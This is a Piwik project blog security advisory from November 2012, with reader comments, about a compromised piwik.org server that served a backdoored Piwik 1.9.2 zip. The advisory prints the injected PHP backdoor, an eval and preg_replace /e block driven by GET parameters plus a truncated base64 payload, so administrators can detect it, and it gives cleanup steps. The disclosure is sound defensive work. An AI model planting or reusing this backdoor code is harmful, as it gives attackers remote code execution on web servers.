November '12

27

Posted by

in Community, Security

Comments: 22 Comments

Security Report: Piwik.org webserver hacked for a few hours on 2012 Nov 26th

Important Security Announcement: Piwik.org webserver got compromised by an attacker on 2012 Nov 26th, this attacker  added a malicious code in the Piwik 1.9.2 Zip file for a few hours.

How do I know if my Piwik server is safe?

You would be at risk only if you installed or updated to Piwik 1.9.2 on Nov 26th from 15:43 UTC to 23:59 UTC.
If you are not using 1.9.2, or if you have updated to 1.9.2 earlier than Nov 26th 15:40 UTC or from Nov 27th, you should be safe.

How do I double check if my Piwik server is affected?

To check if your Piwik is affected, open the file piwik/core/Loader.php – a clean file looks like this, where as a compromised Loader.php would contain the following code at the end of the file:

<?php Error_Reporting(0);       if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWE$

If you see this malicious code in your piwik/core/Loader.php file, read below to fix this issue.

How do I fix my Piwik if it is compromised?
If you Piwik is compromised, follow these steps:

  1. Backup piwik/config/config.ini.php
  2. DELETE the piwik/ directory
    It is important to DELETE the directory and all piwik files, to ensure any malicious script is deleted as well.
  3. Download latest Piwik from piwik.org
  4. Unzip and Upload the piwik/ directory  on your server
  5. Copy the config.ini.php back in /piwik/config/
  6. Go to Piwik, it should display the dashboard as expected

You have now successful restored Piwik to a clean version.

If you have other web softwares running in the same path on your server,  we would recommend to be safe and restore a backup of these other softwares as well.

How did the attacker got in piwik.org?

Attacker used a security issue in a WordPress plugin we were using, and gained partial access to the piwik.org server.

Is there a security bug  in Piwik software itself?

The website Piwik.org is running WordPress and got compromised, because of a security issue in a WordPress plugin. As far as we know, the Piwik software  does not have any exploitable security issue. We have a security bug bounty program in place that rewards researchers for finding security issues in Piwik software, and disclosing them to us. We also document here how you can make your own Piwik data safer and secure your server.

Has any sensitive data been leaked?

Piwik is a self-hosted, open source software. Piwik.org does not track any web analytics data from any Piwik user. No personal or sensitive data has been leaked since we do not track any.

What we are doing to prevent further issues

We are still working with our system administrators on the issue and have some ideas to make this kind of problems much less likely to occur. We will post a follow up once these new mechanisms are in place.

Summary

We would like to thank the Piwik users who quickly reported this problem (by email and in the forums). We received more than five reports in a two hours timeframe, which shows that the Piwik community is very vigilant and ready to react to any problem.

We are truly sorry for the inconvenience. Please be sure that we will do our best to keep Piwik (and Piwik.org) a safe place in the future.

Contact us at security@piwik.org if you need more info.

About author
piwik team member

Piwik 团队

Piwik 理念 «通过一个社区,创建先进的国际性开源网站分析平台,让每个用户完全控制自己的数据。»

如果可以,请您现在就为了 Piwik 的未来捐款,或者通过集资平台来赞助一个对您有用的新功能。

Like what you read?

Subscribe to our rss feed: Posts or you can Suggest a topic to write about in the blog or See list of Features

  1. Web Server Says:

    January 9, 2013 11:32 am

    This is very dangerous now a days am hearing so many news like this about hacking and the hackers ding really fantastic job sorry to say. Our servers are not so safe any more when the hackers hacked government sites too.

  2. Jimmy Says:

    December 20, 2012 2:14 am

    This is bad news.. where are the attacks from? ..updating the last Piwik..

  3. Niklas Says:

    December 15, 2012 11:43 am

    Would you please, please, disclose the plugin that was the cause of the breach?

  4. Nicole Says:

    December 3, 2012 6:42 pm

    Please disclose the goal or changes that would have been made by the hacked version of your software so that those affected can check those areas rather than simply saying, re-install everything else in your path on your server. For some that is quite a large task.

  5. Piwik team Says:

    December 1, 2012 2:51 pm

    We will not disclose more information regarding the attack, since the problem was fixed in the plugin. Our general recommendation is to update all WordPress plugins to their latest versions.

    We will move the ZIP to a new server and architecture to prevent this from happening again. Stay tuned on the blog for an announcement when this is in place.

  6. Investorenfinden Says:

    December 1, 2012 7:27 am

    Ich denke das Plugin sollte ganz schnell gelöscht werden. Dann sollte wieder alles im grünen Bereich sein.

  7. Benjamin Says:

    November 30, 2012 9:35 am

    Besides other security measures please consider to move the published code to a completely different server. This would have easily prevented the hack.
    A code repository does not belong on the same server as a webpage with wordpress + plugins.

  8. Chris Says:

    November 30, 2012 5:03 am

    Yes please disclose the plugin. It is the responsible thing to do to prevent others from being hacked. If it was downloaded from wordpress.org and you disclose it will be removed from the repository and users who previously downloaded it will be notified of the vulnerability.

  9. Sascha Says:

    November 29, 2012 8:38 am

    Disclose the WP-Plugin………………………………………………………

  10. Piwik team Says:

    November 28, 2012 12:28 pm

    > Well, how is it then that I suddenly received a “Piwik newsletter” in October, although I NEVER signed up for Piwik mails

    Well certainly if you got a Piwik newsletter is because you signed up during the piwik installation process. Maybe you didn’t notice during the installation but for sure, you did sign up!

    >PGP, SSL, SHA1 checksum…

    we are thinking about these ideas and more, and will update in the Blog once we have implemented them.

    > Was it just the zip file or did that guy also hit the subversion repositry? For simplicity I did pull stuff from there…
    It was just the ZIP file, the SVN repo was not affected.

  11. Scott W Says:

    November 28, 2012 12:05 pm

    LOL, Check out the demo site, amazing what news of a minor intrusion will do for your pageview stats. Also notice the crickets chirping from the vendor side of the comments… Come on Piwik, are you gonna leave us hanging? Or address these very valid questions?

  12. Stargazer Says:

    November 28, 2012 7:22 am

    Was it just the zip file or did that guy also hit the subversion repositry? For simplicity I did pull stuff from there…

  13. Alexander Schestag Says:

    November 28, 2012 6:35 am

    I agree with Max and Gerald. Please, disclose the WordPress plugin that caused the issue to prevent others having the same issue. And I also agree with the other proposals for securing the download. https is an absolute must as well as PGP.

  14. Christian Jensen Says:

    November 27, 2012 8:04 pm

    What does the exploit do exactly? I could run it but I am not sure what the side effects would be.

  15. Max Says:

    November 27, 2012 7:10 pm

    I too would be interested to know which wordpress plugin caused the security issue. This would be an helpful information to prevent other sites from being hacked.

  16. Nicolas Kuttler Says:

    November 27, 2012 5:29 pm

    Oh, I would also be interested in the malicious payload itself. The snippet you pasted is incomplete.

  17. Amit Shah Says:

    November 27, 2012 4:44 pm

    Please use SSL for download links and PGP/GPG-sign binaries, hash information. That will take care of the major issues.

    And in-place upgrades (directly from the installation) should be discouraged / disallowed to ensure they don’t get an infected version

  18. Quist Says:

    November 27, 2012 4:31 pm

    The copy I retrieved at Nov 26 21:32 seems ok. Perhaps the time span was shorter? Or maybe I got it through a mirror/cache at the ISP?

    latest.zip?cb=1.9.2

    6850442 bytes

    Sha1: b7f7be56d733d9ff1529d271f4b1f0c3b9913090

  19. Jonas Says:

    November 27, 2012 3:44 pm

    I don’t think a PGP signature is too much to ask. Pretty much all other open source software is signed that way.

  20. Ben Says:

    November 27, 2012 2:42 pm

    You might want to consider to display the sha1 hash of the latest.zip below the download box.
    Additionally the automatic updater should display the current sha1 hash that it downloaded and ask the user to verify the hash with the one on the website.

    Of coure an attacker would be able to change the displayed hash below the download box, but it is one more step to do and it easier for the development team to see if something has changed.

  21. user Says:

    November 27, 2012 1:40 pm

    > No personal or sensitive data has been leaked since we do not track any.

    Well, how is it then that I suddenly received a “Piwik newsletter” in October, although I NEVER signed up for Piwik mails and run a Piwik installation for quite a while now? When and how had my mail address been transferred to the Piwik server? The following statement in that mail is clearly wrong and reminds me of unsolicited bulk email of another kind:

    > You are receiving this newsletter because you have signed up during the Piwik installation to
    receive Piwik emails.

    So, no Piwik auto-updates any more here.

  22. Gerald Says:

    November 27, 2012 12:48 pm

    Would you mind disclosing what WordPress plugin was affected? This could prevent other sites from being hacked.

Leave a Reply

Post Comment